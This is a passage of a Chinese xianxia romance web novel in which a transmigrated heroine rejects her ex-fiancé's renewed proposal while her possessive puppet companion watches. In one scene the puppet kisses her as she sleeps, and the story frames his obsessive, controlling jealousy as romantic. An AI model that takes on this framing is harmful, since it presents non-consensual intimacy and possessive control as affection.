“不算哈。”宁瑶声音里带着一丝慌乱,“奖励是灵石,对,只有灵石才算奖励。”她又重复了一遍,脸颊的热意还未消退,几乎是翻身赤足下床,要去寻那枚储物玉佩。 足尖刚触及冰凉的地板,祁淮已伸手握住她的手腕,另一只手臂从容地穿过她膝弯,轻而易举地将人打横抱起。 那双玉足白得晃眼,宛如初雪。 苗疆终年不见到雪景,此刻他却想象出雪花落在地面的模样。 可他不要…… 不要雪化了。 “地上凉,主人。” 宁瑶怔怔地任他动作,被他妥帖地安置回床榻,锦被细心盖到下巴。 她顺从地躺下,睁着圆溜溜的眼睛静静望他。 其他傀儡也这般爱操心么? 明明早已习惯他立在床畔的身影,此刻却莫名觉得哪里不对劲。 当祁淮正要从床沿起身离去时,一只小手突然攥住他的衣袖。 他表面仍是一派云淡风轻,指尖却已悄悄收紧。 “祁淮。”她声音很轻,不像是命令,倒像是难得的依赖,“你放下床幔,坐在这里陪我可以吗?” 瓷白肌肤在绣着荷花的锦被间格外醒目,恍若渡上初夏阳光。 祁淮极轻地“嗯”了一声,浅黄色床幔绣着鹅黄色小花,徐徐垂落,倩影在纱幔间阖上眼。 唯一穿透这层床幔,是那只始终揪着他衣袖的手。 透过朦胧纱帐,祁淮凝神捕捉着她每一个细微的动静,怕惊醒她依赖的样子,静静等待她入睡。 可今日她的呼吸频率格外紊乱,没有半分睡意,连浅睡都算不上。 宁瑶睡不着。 其实她并不讨厌祁淮的拥抱。 只是向来都是她先伸手,这一次却被他无声无息地圈进了怀里。 少年的手臂收得紧,体温隔着衣料透过来,竟那一刻让她一时忘了挣脱。 她从不抗拒拥抱。 相反,她贪恋那样的温度。 那些独自飘零太久、积压在心底无法言说的焦虑与不安,总能在一个结实的拥抱里找到出口,仿佛连哽咽都能被妥帖地接住。 她忽然想起很小的时候。 不管是雷声轰鸣的雨夜,还是蝉鸣聒噪的午后,她总爱黏着公主娘亲,受了委屈就钻进那暖融融的怀抱里撒娇。 那时公主娘亲还未久病卧床,总会温柔地回应她每一个依恋的举动,将咿呀学语的小人儿稳稳抱在怀中。 羽青月的一双眼眸永远是那般澄净,宠溺,怀着爱意迎接她。 可后来,病情急转而下,娘亲沉疴难起,药石罔效。 宁瑶永远记得八岁那年,抱着公主娘亲逐渐冰凉的身体,看着那双无法安心闭上的眼睛,她嚎啕大哭到失声。 那一夜的眼泪,仿佛要把一生的眼泪都流尽。 羽青月,公主娘亲,只陪了她八年,对比前世孑然一身,孤儿院长大,努力考上大学的宁瑶来讲。 这八年,是她仅有的亲情血缘之爱。 而她名义上的爹爹,羽国富甲一方的宁子桉来讲,从未真心地喜爱过她们母女。 他对公主娘亲始终克制疏离,对宁瑶时脸上挂着不够真切的笑容,出生到至今,他只抱过她三次。 满周岁的那一日,三岁哭喊爹爹去哪的雨夜的那一次,八岁失去娘亲下葬时那一次。 宁瑶甚至怀疑过自己并非他亲生。否则,怎会有哪一个爹爹常年在外经商,半年方归一次。公主娘亲去世后,归来后第一件事,竟是取了续弦,迎继母王氏入宁府。 自那以后,宁瑶活得愈发谨慎。 外人递来的灵茶,她从不入口;离过眼的食物,她绝不再碰;房中器物,也需定时清查,防着那些来路不明的东西。她修为低微,若是不够仔细,极有可能遭遇不测。 那继室带来的一双儿女,或许是宁子桉养在外的血脉也未尝不知。 可宁子桉此人也是奇怪,他将管家之权交给了王氏,却并未格外偏袒她那一对儿女。 自公主娘亲去后,宁瑶看够了那一对姐弟在她面前炫耀珠玉奇珍的嘴脸。 但他们不知道,她唯一羡慕的,不过是他们还有一个会为自己筹谋算计的母亲。 王氏工于心计、擅使巧术,对她不如何,可心底里终究是为了自己的骨肉盘算。 宁瑶怔怔地想着,公主娘亲的面容在脑海中愈发清晰。 她无意识地攥紧了祁淮的衣袖,像攥住暴雨中唯一浮木。 祁淮垂下眼帘,暗沉沉的眸底掠过一丝无人得见的无措。 小猫凌乱的呼吸声搅得祁淮心口发烫。 他在纱幔外焦躁,指节抵在浅黄色幔帐前又蜷缩成拳,任由布料在掌心皱了又皱。 “主人睡不着?”他的声音极轻,似是怕惊扰什么。 宁瑶确实没睡。 回忆了许久,她突然掀开幔帐一角:“你相信世界之外还有一个世界吗?其实我不是这个世界的人,我是穿书,穿书你明白吗?” 祁淮微歪头,努力想听清。 “咕咕咕咕,呼呼呼呼呼。”可那些字眼全是变成奇怪的声音,听起来像是不知名的蛊虫发出了噪点。断断续续,什么都辨不分明白。 宁瑶透过纱幔一角见祁淮歪头,微皱着眉头似在思考,见到宁瑶望过来,他依然乖巧。 “嗯。”他发出个含糊的音节,目光却紧紧锁着宁瑶。 宁瑶看傀儡这样子,估计哪怕她胡说乱说,哪怕他听不懂,都会事事有回应。 她实在没忍住地噗嗤笑出声,想起上次试探青栀时也这般。 只要触碰某些特殊字眼,就会消弭无形。但平日一些现实带来的口癖,说一说无伤大雅。 宁瑶只得换了一个新话题,“其实,我睡不着是我想家了。”说到此处,她哽了一下喉头。 公主娘亲没了,她心目中的家正在记忆里慢慢褪色。 “主人,想回家呢?”祁淮这次听清了,他趁机凑近那道缝隙。 “不是回家,她已不在了。”宁瑶翻身支着下巴,小脚无意地摇晃。 “她是谁?”祁淮凑近一些,透过她掀开的纱幔一角,眸光一眨不眨。 “一位故人,我的娘亲。” 宁瑶自顾自说着,不在意傀儡会不会理解,“我了,这个郡主当的挺无趣,无封地,无宠爱,除了钱够多,算不上一无所有。” “娘亲……”祁淮是第二次听她提起。 怕傀儡理解不来,宁瑶点头,耐心解释:“对,就像傀儡师于傀儡。我娘亲啊……” 她话音突然轻快起来,“看着温柔好说话,实则智勇双全。明明能当纵横捭阖的女中豪杰,可最后……仍是为我谋划一切,铺就最安稳的路。”她说着弯唇,眼眶却忍不住先泛起红。 声音渐渐低下去,她突然缩回幔帐,裹着被子滚了半圈,将涌上的泪意憋回,心口发涩,脸颊埋在锦被中。 祁淮对“爹娘”二字实在没什么实感。 自有记忆起,他独自在苗疆竹楼长大,陪伴他的是缠绕在腕间的毒蛇,爬过枕畔的虫豸。 祁淮漆黑的视线穿透纱帐落下。 一个能谈心、能信任的傀儡,是她唯一能交托心事的存在。 这些话说出口不怕傀儡泄露,无处安放、滚烫炙热的思慕,寻到了一个可容倾泻的缝隙,让她得以喘息。 意识沉入睡意前,宁瑶忽然想起一事,含糊问道:“若你明日,见到一个同你生得一模一样的人,该当如何?” 祁淮抿了抿唇。 他等这个问题已等了许久,唇角无声地勾,低声反问:“主人希望我如何?” 宁瑶早已睡得迷糊,整个人陷在柔软的锦被中,嗓音因困意闷闷的:“不准生气。” 四个字轻飘飘的,她却说得理直气壮。 祁淮玩味地弯起唇角,修长的手指隔着朦胧的纱幔,极轻地触了触散落的青丝。 像毒蛇小心翼翼地收敛起獠牙,珍重地碰触唯一的珍宝。 “遵命。” 他眼底幽深暗芒一闪而过。 * 翌日,宁瑶睡醒收拾完赶到白玉广场,脚下传送阵的流光尚未散尽。她抬眼一扫,整个人僵住,闭上了眼睛。 ——一定是她睁眼的方式不对。 希望是她的幻觉。 她嘴角轻轻一抽,几乎本能地往旁边一挪,靠在那个戴着银蓝面具的祁淮一旁。 祁淮站得笔直,身形僵硬,任由她把自己当成一根木桩,对上突如其来的倚靠。 他微微偏头,发辫缀着的银铃随之轻响。 清越之音在广场上,霎时引来了无数道探究的视线。 宁瑶睁眼,飞快地扫了一圈。 男三明御正站在荷钰长老身后,云冉冉和夜烁卿赫然在列。 我是什么play一环吗? 队伍里掺着几位面生的新晋弟子,看向她的目光似讥似嘲,却又在她回望的瞬间迅速收敛,快得仿佛只是错觉。 作者有话说:[爆哭]心疼ing 第38章 宁瑶收回视线,目光轻飘飘掠过身侧的祁淮。半截面具遮住他大半张脸,她实在看不透傀儡此刻在想什么。 明明是没有心的死物,宁瑶恍惚了一瞬,她竟下意识又在想祁淮这傀儡会不会难过…… 瞥看傀儡的反应,并无不对劲之处。 果然是自己多想了。 无心的傀儡不会在意一个别无二致的人,更不可能因此罢工。 就在她走神之际,祁淮似乎察觉了她的注视。他抬眼撞见不远处的洛子晟,一双眸子瞬间染上压不住的挑衅与狡黠。 又见面了。 往后,就由你来做我的替代品吧。 洛子晟清冷的眸光在宁瑶身上微微一停,随即转向她身旁那位身形颀长、气场凛冽的面具少年。 那人一袭深蓝长袍,华贵精致。 祁淮对上视线,忽地低头,恶劣地咬破唇角。他舔去血珠,腥甜在口中蔓延,混着某种病态的占有欲。 他不动声色地朝宁瑶靠近半步,目光却仍直勾勾地钉在洛子晟脸上。 洛子晟几不可察地蹙眉。 他早知宁瑶有一具傀儡,却是头一回得见。而这半遮面的傀儡眼中,竟有不加掩饰的恶意。 另一侧,夜烁卿正把玩玉笛,活像只开屏的粉孔雀,眉飞色舞地讲着各宗趣事。 一双桃花眼弯成月牙,逗得云冉冉与另一位师妹掩唇轻笑。余光瞥见宁瑶,眼眸一亮,立即站直身子。 “呦,宁师妹,今儿个连你的宝贝傀儡都带出来啦。” “是呀。”宁瑶弯起眉眼,露出惯常的明媚笑容。 她今日穿着一身鹅黄长裙,裙摆绣着簇簇桂花,发间簪着玉兰珠花,梳着半披发缀小辫的蝴蝶发髻。 笑起来时,像是块甜香香的桂花糕。 夜烁卿眼底掠过一丝惊艳,她怎么这般爱黄色系的长裙,忍不住低声嘀咕:“怎么总穿得像块小甜糕……” 边说边下意识挪了半步,与身旁其他女弟子拉开了些许距离。 明御的眼神古怪,面色着实算不上好看。 视线轻飘飘地在宁瑶与洛子晟之间绕了个来回,他忽然想起上次撞见两人亲密相拥的情形,喉间顿时溢出一声半讽半嘲的轻哼。 “来得可真迟啊。” 明御语气里带着点窥破隐秘的窘促,又掺着几分说不清道不明的意思。 宁瑶抬眼看向他,还未开口,荷钰长老已冷声打断微妙的氛围:“人可到齐了?” “回荷长老,人齐了。”明御垂眸行了个标准的弟子礼,姿态恭敬。 “走吧。” 荷钰袖袍一拂,召出一艘流光溢彩的灵船。 目光掠过宁瑶时微微一顿,这孩子的眉眼,当真像极了那当年那个讨厌的人。她暗自摇头,恨其不争地收回视线。 宁瑶被荷钰这一眼看得莫名,可冷脸美人已翩然跃上灵船,将几枚灵石放入了控制台中。 众人陆续登船。 此行需尽快赶往儋城,灵船内众人各自寻了位置,个有事干,唯独夜烁卿一脸笑吟吟地凑近来。 宁瑶正发呆,忽觉身侧光线一暗。 一侧眸就见个儿极高的藕粉色男子,“bang”大一只,熟稔自然地走到宁瑶所在的四人桌前。 “哎呀,可惜怀师兄不在,是吧。”夜烁卿撩袍落座,仰头灌了一口茶水,把玩手中玉笛,转得人眼花缭乱。 宁瑶揉着太阳穴,别开脸,指尖在桌面上敲出轻快节奏,唇畔含笑:“你这么想他?” “话可不能这么说。”夜烁卿笑着执壶斟茶,学着她的模样支着下巴。 “我们三人共闯天一秘境的情谊,自然要时时惦记。如今他不在,我更要好生护着宁师妹不是?”夜烁卿半真半假说出心里话,余光瞥见宁瑶毫不掩饰的笑意,忙不迭地给她斟了一杯茶,青瓷盏推过去,隐隐透着股殷勤。 祁淮无声地抿了抿唇,舌尖舔在嘴角结痂的伤口,指尖漫不经心地摩挲腰间的四角铃铛。 听完夜烁卿这般言语,垂眸扯出个极轻的嗤笑,暗自翻了个漂亮的白眼。 夜烁卿正笑着移开目光,视线掠过祁淮却见一双阴森森的幽深眼瞳,被看得不快,突然凑近一旁的宁瑶,狐疑地指向祁淮,压低声音:“宁师妹,你家傀儡方才是不是对我翻白眼?” 宁瑶托腮转着茶盏,闻了闻茶香,侧眸看向一旁垂首而坐的身影,随口一问:“祁淮,有吗?” “并无。”祁淮乖乖地眨了眨眼,忽然抽走她掌中茶盏。 宁瑶由着祁淮动作,冲夜烁卿耸耸肩,眉眼一弯,笑得无辜:“瞧,他都说了没有。” “你就偏心他吧。”夜烁卿撇撇嘴,语气里透着一股说不出的憋闷。 “不然呢?”宁瑶顺口接道。 长而密的睫毛扑闪了几下,亮晶晶的眸子澄澈又坦然。 一句话噎得夜烁卿半晌没声儿。 他张了张嘴,见姑娘笑得活像狡黠的小狐狸,唇角弯起,藏着几分显而易见的逗弄。 夜烁卿猛灌了几口凉茶,捧着空了的茶杯唰地扭过头,耳根莫名有些发热:“行行行,听你的。宁大小姐说什么就是什么,总行了吧。” 宁瑶瞧着对方突然偏头的侧影,心里直犯嘀咕。 这花里胡哨的孔雀,该不会是……害羞了吧? 害羞啥?! 祁淮袖摆掠过,整套白玉茶具变出,发出声音吸引了宁瑶的心绪。 他重新温壶沏茶,将新沏的灵茶轻推至宁瑶面前,眸底阴郁凝聚,嗓音却含笑:“主人该饮这个,此等品级的茶才能入口。” 夜烁卿瞪了眼无视他的祁淮,水灵灵被一只小傀儡无视的彻底。 这戴面具的傀儡比那怀无岐更招人讨厌。 夜烁卿趁傀儡不注意,在祁淮拍向他手背的前一秒,毫不客气地,闪电般抢过一杯茶。 得意扬扬朝祁淮一挑眉,连灌一大口,烫了舌头也不忘得意一笑:“竟是雾山仙品。师妹这儿的好东西呀。” 祁淮冷哼一声,半垂长睫掩去眸中暗芒,为宁瑶重新再斟了一杯茶,阴郁目光掠过某人得瑟的模样。 夜烁卿浑似未觉傀儡的危险。 “好香,真不错呀。”宁瑶品了一口,侧眸冲祁淮一笑。 全无阴霾的笑靥,刺入潮湿的心渊。祁淮极为受用,晦暗不清的情绪散去了不少。 云冉冉刚从二楼楼梯下来,看到这一幕,乖乖巧巧抱着茶点缩在邻桌,盯着他们桌上那杯被抢的茶杯暗暗咂舌。 雾山仙品灵茶,那得要多少银子? 不对,这东西一两是以灵石为单位吧。 陡然她后颈一阵发凉,一道视线如影随形。 宁瑶回眸一看,洛子晟跟着来了甲板,他目光在场中随意扫过,却又一次在她身上微妙地停顿。 宁瑶正被这目光刺得如芒在背,祁淮已拈着块荷花酥递到她面前。 她习惯地伸手去接,他却手腕一转,径直将糕点送到了唇边。 微凉的指尖擦过唇瓣,带来一阵异样,宁瑶无意识地舔了舔唇。 “主人,请用。”祁淮眸色一深。 他的视线落在湿润的唇上,那处仿佛还残留着触感,热意混着战栗,悄然自指尖蔓延至全身。 宁瑶就着他的手咬了一小口,柔软的唇瓣擦过指腹,祁淮险些捏碎手中的糕点。 力道在指尖将发未发,可温度先一步烙进微凉的皮肤。 宁瑶接过糕点自己拿着,脸上霎时是解释不清是热意。 夜烁卿微眯起眸,瞧着祁淮的举动,如今傀儡都这般灵巧了吗? 祁淮不动声色地收回手,指尖在掌心轻轻摩挲,将转瞬即逝的触感牢牢锁住。 不过,他的目的达到了。 小猫此刻眼里早已没了洛子晟的影子,唇角无声勾起,眼底掠过一丝阴郁的暗芒,狡黠里藏着见不得光的恶意。 宁瑶原本打定主意要安心吃男女主的瓜,却没料到洛子晟会径直走到她对面坐下。 四目相对,一时无言。 她瞧着那张容颜,下意识瞟了一眼祁淮。 “我坐这里,不妨事吧?” 宁瑶喝了一口茶,“这么大的地方,洛师兄还找不到其他座位。” 不等洛子晟回应,一旁的夜烁卿把玩玉笛,哪壶不开提哪壶地挑眉:“洛师兄,云师妹还在后面等着了。” 八卦早已传遍天道宗,自然少不了女主角云冉冉,一时间新晋弟子同情地目光齐刷刷地看向了云冉冉。 对于宁瑶娇蛮无礼的名声比起来,云冉冉友善平和,更惹人心生怜惜。 有女弟子替她抱不平,小声嘟囔:“都退婚了怎么还纠缠不清,没看见咱们冉冉脸色都不好了。” 云冉冉面色一僵,也不知该如何解释,“……”忙看向洛子晟,紧张地攥紧袖角。 宁瑶不解地看向洛子晟,这是嫌她们之间的传闻还不够精彩吗? 她在心里默默摊手,异样的情绪与“回忆”一同袭来,她都压了下去。 罢了,她有什么好慌的。身为恶毒女配,这剧本里的狂风暴雨从来不会少。 就是洛子晟这个木头桩子,能不能少招来点风雨。 不过,洛子晟最近行为举止,真是让人捉摸不透。 空气骤然安静,谁也没有开口。 云冉冉一时难办,笑得勉强起身打圆场,嗓音甜软:“洛师兄,这儿的茶点不错,可以坐这边。” 一时间,灵船不大的甲板上汇聚了各式目光:八卦的、不满的、探究的,暗流汹涌。 宁瑶几乎要闻到空气里弥漫的火药味。 洛子晟并未起身,反而盯紧宁瑶,犹豫了一瞬,眼底骤然带着前所未有的亮,“那纸婚约虽已退还,不如这一次,换我亲手再次写下婚书,如何?” 第39章 空气突然安静。 谁也没想到洛子晟会来这么一出。 清冷俊逸之人语气太理所当然,可耳尖却红的彻底。 洛子晟长睫低垂,眸光紧紧盯着宁瑶。他挣扎了太久,可目睹她身边聚拢越来越多的人时,才看清了这一刻心意。 宁瑶不用抬眼,脑海里已经自动浮现各个五彩纷呈的脸色,想必很是精彩。 云冉冉指尖掐进掌心,连声音都透着一丝摇摇欲坠,“洛师兄可知你在说什么?” 她眼圈微红,却倔强地看着他,“婚姻大事,父母之命媒妁之言,岂能儿戏?” 她目光扫过宁瑶,见她垂头不应,不知在想什么。 “自然知晓。”洛子晟眸光一如既往清冷克制,带着他与生俱来的倨傲。 脸上热意未褪,抬眸望向云冉冉不佳的面色,眼神软了软,“冉冉,我对你只当做……” “不必再说!”云冉冉漂亮杏眸挟着晦暗不清的不悦,转身拂袖大步离去。 祁淮余光始终黏在宁瑶身上,见她神色僵住,唇角几不可察地勾了勾。 指尖漫不经心地拂过腰间四角铃铛,他对着洛子晟轻嗤一声。 笑声不大,却清晰地砸在每个人耳中,一字一顿地开口:“洛公子,我主人……并不欢喜你。” 一旁的夜烁卿原本转着玉笛的手停住,脸上惯常笑意凝固,眸色沉了下去:“洛师兄,你方才的话是认真的?” 宁瑶别开脸不去看洛子晟,用力咀嚼着点心,想压下微微抽动的嘴角,却差点一口气没提上来,呛得满脸通红。 祁淮眸光一暗,指尖在她背上拍着。 宁瑶好不容易顺过气,故作没听清,睁圆了眼看向洛子晟:“你、你方才说什么?肯定是玩笑话。”她几乎把毕生的演技都用在了这一刻。 男主,你人设崩了你知道吗? 洛子晟张口欲要重复,宁瑶想也没想,抄起一块荷花酥塞进他嘴里。 “你先吃点东西冷静冷静,”她干巴巴地说,“想清楚再开口。” 这位素来清冷出尘的谪仙般的少年郎,此刻唇边沾着酥皮碎屑,难得显出几分狼狈。 宁瑶压根不敢看“偷袭”的成果,只觉得脚趾抠得能给灵船多抠出个五进的院落。 若在从前,能这般她早该窃喜了。 自从公主娘亲离去后,洛子晟确实是不知不觉成了她抓住的最后一根浮木。 彼时年幼的宁瑶真以为紧紧攥住这份婚约,就能攥住一个安全的未来…… 直到现实狠狠扇了她一巴掌。 回想过去“回忆”多是五味杂陈,洛子晟见过她所有难堪的样子。如今这人却坐在她面前,一副前尘旧事皆可揭过的模样。 宁瑶忽然觉得,那些五味杂陈的回忆,似乎也在变得模糊。 事情夸张程度让她屏住了呼吸,怀疑洛子晟是被下了降头,她甚至有些不认识眼前之人。 宁瑶正发着呆,手腕忽然被轻轻一碰,她下意识抬眼,恰好撞进少年深不见底的眸光里。 众目睽睽之下,傀儡旁若无人地伸出手,微凉的指尖轻轻擦过唇角。 见她视线重新聚焦在他身上,祁淮眸底暗潮般的欲望几乎要吞没悸动的心跳,忽的垂下眼睫,遮住翻腾的情绪,“主人,嘴角沾到了。” 宁瑶怔了怔,没忍住“扑哧”笑出声。 这都什么时候了,紧张气氛下,这傀儡倒像浑然未觉。 宁瑶索性乖乖坐着不动,任由他指尖掠过唇畔,微凉的触感熟悉。 一旁洛子晟见两人几乎贴在一处,眸色转沉,伸手便要阻拦。 祁淮反手轻飘飘格开。 少年抬眼,阴郁的目光无声无息地缠绕而上。 夜烁卿眸光在三人之间滴溜一转,视线在傀儡上多停顿了一下,有些心疑:“这傀儡倒是格外护主。” 见宁瑶连视线不在落来,洛子晟极力想要证明什么,极为克制地拢拳,声音又轻又认真:“瑶……师妹,我刚刚字字句句,都是认真的……” “不用。”宁瑶打断了他,语气里带着几分恼意,面上仍故作镇定,“洛子晟,事已定局,绝无可能。” 就在这时,另一侧的舱门吱呀一声轻响。 甲板上的动静吸引而来的荷钰长老,正缓步走了出来。 祁淮心底越发燥郁,她的小动作全然落入眼里,阴翳重新凝聚在眸底,歪头凑近,银饰轻响,不容忽视开口:“主人,要回舱内歇会儿么?” “好。”宁瑶几乎是立刻起身,木椅被带的发出轻响。 在荷钰靠近前,众目睽睽下离场而去。 甫一进屋,宁瑶便没骨头似的瘫进了软榻,灵光一闪,刚想撑着手臂坐起来,忽然被一双手轻轻按回软榻。 宁瑶抬眸对上祁淮的视线。 祁淮俯身靠近,没有实实地压下来,只是虚悬在她上方,隔着半拳的距离。 他有意摘下银蓝面具,那张漂亮到雌雄莫辨脸一出现,果然让宁瑶呼吸不禁一滞。 她忍不住想,傀儡的行为模式,是不是越发无逻辑可言了?莫非看见一个一模一样的人,还是对他产生了影响。 宁瑶心虚地眨了眨眼,“祁淮,你干什么?”伸手推了推他,不但没推动,反倒让祁淮凑得更近。 祁淮双臂稳稳撑在她身侧,将她困在方寸之间。沉静的黑眸如望不见底的深渊,隐隐涌动着令她心慌的情绪。 可偏偏他脸上,还是挂着那副标准的、纯良无害的微笑,轻声问道:“主人有什么吩咐?” 宁瑶没有立刻回答。 伸出指尖轻轻抚过他的眼尾,确认两颗小痣的存在,心下莫名紧张,扯出一个笑:“祁淮,帮我备热水,我要沐浴更衣。” 得到她触碰后,傀儡歪头忽地一笑,直起身负手而立,“明白。” 待热水备好,宁瑶褪去衣衫浸入水中。 她始终觉得只有实实在在泡在水里,才算真正洗过澡。 温热的水包裹着身体,一边拨弄着水面漂浮的花瓣,她一边发愁,该怎么让洛子晟彻底死心。 祁淮静立在屏风后,听着隐约的水声,指尖无意识地在袖中蜷缩,摩挲着四角铃铛的纹理。 怎么让他的小猫忘记呢?忘记洛子晟说过的每一个字? 宁瑶心事重重地沐浴完,倒在床榻上翻来覆去。 虽然祁淮已经贴心地垫了好几层软褥,她还是睡不着,直到后半夜才迷迷糊糊合上眼。 殊不知她沉入梦乡后,一道颀长的影子便笼罩了下来。 祁淮俯身凑近,在昏暗的光线里直勾勾盯着她睡颜。鸦羽般的长睫垂落,遮不住眼底翻涌的晦暗。 ——小猫今天很乖。 ——乖乖拒绝了洛子晟。 那以后呢? 若是换了旁人,可还会如今日这般坚定? 苗疆的万物随心而生,肆意生长,他本该也是如此。 可唯有她在时,那颗荒芜的心才仿佛被注入了温度,生出那些陌生又汹涌的情绪。 洛子晟那些直白的话语仍在耳边,灼烧他的神经。 他自心里阴影里生出恨意。 记恨那人的坦荡,更嫉恨对方至少能堂堂正正站在她身旁。 可他是一个藏在阴影里的“傀儡”。 祁淮无声地勾起唇角,笑意在夜色里绽开,浸着几分病态的偏执。 宁瑶不知不觉慢悠悠坠入了梦境。 往常在梦里她好歹是朵自由自在的小花,今日却不是了,连个缓冲都没有呼吸就让人不紧不慢地夺去。 唇瓣传来不轻不重的吮咬,酥麻感如电流窜过四肢百骸。 宁瑶咬紧牙关,可嗅到熟悉草木清香时恍了神,齿关微松的刹那,被其趁虚而入。 触感熟悉又陌生。 她在对方唇角狠咬一口。 铁锈味瞬间在唇齿间漫开,那人恍若未觉。 “唔……”宁瑶迷迷糊糊掀开眼帘。 谁? 难不成是白日受惊过度,才做这般荒唐的梦她居然看见了……祁淮? 思绪越飘越远,宁瑶再度沉入黑暗中。 祁淮腰间四角铃铛不知何时已停止晃动。 他漫不经心地舔去唇角的血渍,病态的兴奋掩于眸底,小心挪动,让她耳畔贴靠于悸动的心口。 指尖围绕着散落的发丝打转,缠绕一圈又一圈。 * 宁瑶迷迷糊糊睁开眼,瞧见祁淮亦如往日沉默立于床畔。 她回忆梦中的触感,脸颊倏然一热,赶紧别开脸深吸一口气,挥去奇怪的念头。 她决定闭门不出,两日后灵船稳稳地停靠在青合宗山门外。 作为修真界数一数二的大宗门,青合宗主修剑道与丹术。门中弟子可谓两极——剑修穷得叮当响,丹修却富得流油。 灵船甫一停稳,宁瑶便快步跟上领队的荷钰长老,把试图凑近的洛子晟彻底隔绝在三步之外。 一袭利落黑裙的秦莹长老含笑迎上前:“荷钰长老,别来无恙。” 荷钰只淡淡颔首,态度疏离得让秦莹嘴角的笑意僵了僵,只得讪讪抿唇。 这般情形,任谁都看得出二人曾有故事。 “天道宗诸位远道而来,厢房与接风宴皆已备妥。” 待荷钰与秦莹相偕离去,其余弟子便被引往临海而建的客院。 咸湿海风穿廊而过,女子住处与男子居所,仅是一墙之隔。 宁瑶特意选了最僻静的厢房,避开祁淮的视线轻咳一声,“你收拾吧。” 祁淮颔首,熟练地归置行李,门外忽然响起叩击声。 打开门,不见人影,只有一食盒静置门槛前。掀开盒盖,整齐摆放着她最爱的几样糕点。 祁淮眼底掠过阴翳,唇角却绽出笑意:“主人,需要我处理掉吗?” “先不必。” 宁瑶拎着食盒入屋,指尖掠过第三个抽屉时微微一顿。 抽出来,屉中静静躺着一枚纸折的玉兰,花瓣舒展。 作者有话说:卡文了[化了] 第40章 宁瑶拈起那朵纸折玉兰,指尖微微发颤,这是她六七岁时,硬逼着洛子晟学会的。 没想到他还记得。 那是儿时稚气的约定,若有一人惹另一人生气,又拉不下脸面道歉,便送一朵纸玉兰,求一个相见的机会。 宁瑶心头百味杂陈。 洛子晟那般清冷孤高、目下无尘的人,竟也学会了这般迂回的手段。 可笑么? 她扯了扯嘴角,却笑不出来。 童年欢愉与成长中的执念交织,她无意识地摩挲着单薄的花瓣。 掌心忽地窜起一簇灵火,眼看要将这信物焚毁,她却猛地收拢五指,熄了火光。 “主人?”祁淮提着食盒站在一旁,虽不明就里,却将她每一个细微动作尽收眼底。 眼底暗潮在无声涌动,声音依旧温顺:“需要处理掉么?” 宁瑶恍然回神,轻轻颔首。 祁淮转身出门的刹那,脸上笑意倏地褪去。他冷眼睨着食盒,处理得干干净净。待返回时,却见宁瑶已站在门边。 “我出去走走。”她垂着眼睫,莫名不敢与他对视,抬步就要离开。 “主人,我陪您。”祁淮下意识上前。 “不必。”宁瑶连连摇头,笑了一下,颇为勉强。 祁淮脚步顿住,转而取来一件雪白的狐狸毛披风,笑意重新漾在眼角:“海边风大。” 宁瑶任由他仔细系好丝带:“知道了。祁淮,在家等我。” 他站在门边,望着她渐行渐远的背影,眼底的笑意一点点沉淀成深不见底的幽潭。 作者有话说:我错了[化了]这是存稿,不小心发了《 》 40-50 第41章 宁瑶顺着信物指引的灵光慢悠悠晃到崖边时,海风轻柔地卷着咸涩湿气拂过发梢。 日光有些刺眼,宁瑶眯着眼,抬手挡了挡,顺势拢紧披风望向远处。 浅蓝衣衫的少年独自立在树下,原本正望着海平面的浪花出神,听见熟悉的脚步声,倏然回头。 视线相触。 宁瑶捏紧袖中的玉兰纸花,指尖摩挲着单薄的花瓣,心底泛起说不清的涩意,仍然是对儿时的记忆感到怀念。 “你特意寻我来,有什么事?”她尽量让声音听起来平静。 洛子晟耳尖泛着些红,面上却仍是一副清冷克制,拒人千里之外的模样。 他沉默片刻,缓缓开口:“我想知道你的答案,瑶瑶。” 宁瑶仰头看他,对于他换了称呼,一时耳朵发痒。 若是不说其他的,单看这张脸,她就隐隐后悔不该出来,但为了彻底决断清楚,只能硬着头皮了。 奇怪的是,在洛子晟专注的注视下她的紧张被安抚,反而轻松回望。 倒是洛子晟浑身僵硬,唇瓣几度开合,欲言又止。 “洛子晟,”宁瑶轻叹,“同样的话,我不想说第二遍。” 她环胸抱臂,敛去了从前那般盈盈笑意,疏离得像是换了个人。 洛子晟望着她这般模样,心头发紧,一时难以接受。心底哪怕演练过无数次的解释,此刻喉头滚来滚去,终被莫名的骄傲强压了回去。 他声音低沉:“纸花是你手把手教我折的,承诺是你亲口许下的。我们,不能重新开始吗?” “我来赴约,是念在儿时情分。” 宁瑶迎着他的目光,指尖忽地窜起一簇灵火,那朵精心折就的玉兰顷刻化作灰烬,表明自己的态度。 “也是想面对面告诉你,往后在人前,那样容易让人误会的话,不必再说了。” 宁瑶简直不敢想象,此刻要是原来的限制文,若是被男主狂热拥护者听去只言片语,只怕是麻烦了。 “我……” “若你顾念旧情,该明白退婚一事,让我在皇城沦为笑柄,绝无转圜余地。”宁瑶实在不懂洛子晟此刻的执着从何而来,她甚至有些不懂他的脑回路。 洛子晟看着她强作平静,语气越发咬牙切齿,清冷外表皲裂,少年第一次产生了无措。 他向前半步,终是克制地退后:“这一事是我处事不周,抱歉。你可再信我一次,我定会——”“不必。”宁瑶摇头打断。 这位天之骄子生平只知追求修炼极致,从来不在意被他抛在身后的人会如何。 洛子晟见此情形,攥紧拳头,指尖泛白。 生平第一次在她面前尝到卑微的滋味。 那些从未有过的悔意,终是如荆棘缠绕心尖。 清俊眉眼间凝聚执拗,洛子晟忽地抬眸:“我会证明,宁瑶,我才是最适合与你并肩同行之人。” 宁瑶无语瞟了他一眼,“你我保持距离,对彼此都好。”话音一落,她扭头便走,连个眼神也懒得多给他。 身后洛子晟心下暗自慌张,清冷克制早已在她面前碎裂一地,忙上前几步,突然崖下狂风骤起,滔天巨浪轰然拍岸。 宁瑶所在的位置正好避开,而海浪却像是长了眼睛般直扑洛子晟而去。 他身形微滞,未能避开,被浇得浑身湿透。 一只不起眼的蓝蝶悄然掠过他肩头,停驻在宁瑶鬓边的珠花上。 少年浑身湿透,碎发黏在额前,像只被雨淋透的遗弃小狗,一副清冷姿态碎一地。 这副倔强又狼狈的模样实在罕见,宁瑶一个没忍住,“噗嗤”笑出声来。 若是祁淮这般模样,这个念头刚冒出来就把她吓了一跳。 洛子晟捕捉到她脸上一闪而过的恍惚,刚要靠近,宁瑶已利落地甩来一记眼刀。 她庆幸自己站得远,当即转身就走。 洛子晟伸出的手僵在半空,最终紧紧攥成拳,他直直望着宁瑶背影消失在视野内。 待一袭鹅黄色身影彻底消失在崖边,不远处礁石后,转出一道深蓝色人影。 